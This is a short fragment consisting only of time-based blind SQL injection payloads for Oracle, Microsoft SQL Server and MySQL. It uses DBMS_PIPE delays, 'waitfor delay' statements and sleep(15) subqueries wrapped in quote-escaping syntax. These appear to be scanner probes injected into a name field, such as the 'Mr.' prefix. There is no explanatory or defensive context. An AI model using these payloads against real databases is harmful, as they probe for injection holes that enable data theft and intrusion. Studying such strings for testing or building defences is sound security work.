MR.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'  


  Mr.QN2C5nbr'; waitfor delay '0:0:15' -- Mr.-1 waitfor delay '0:0:15' -- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/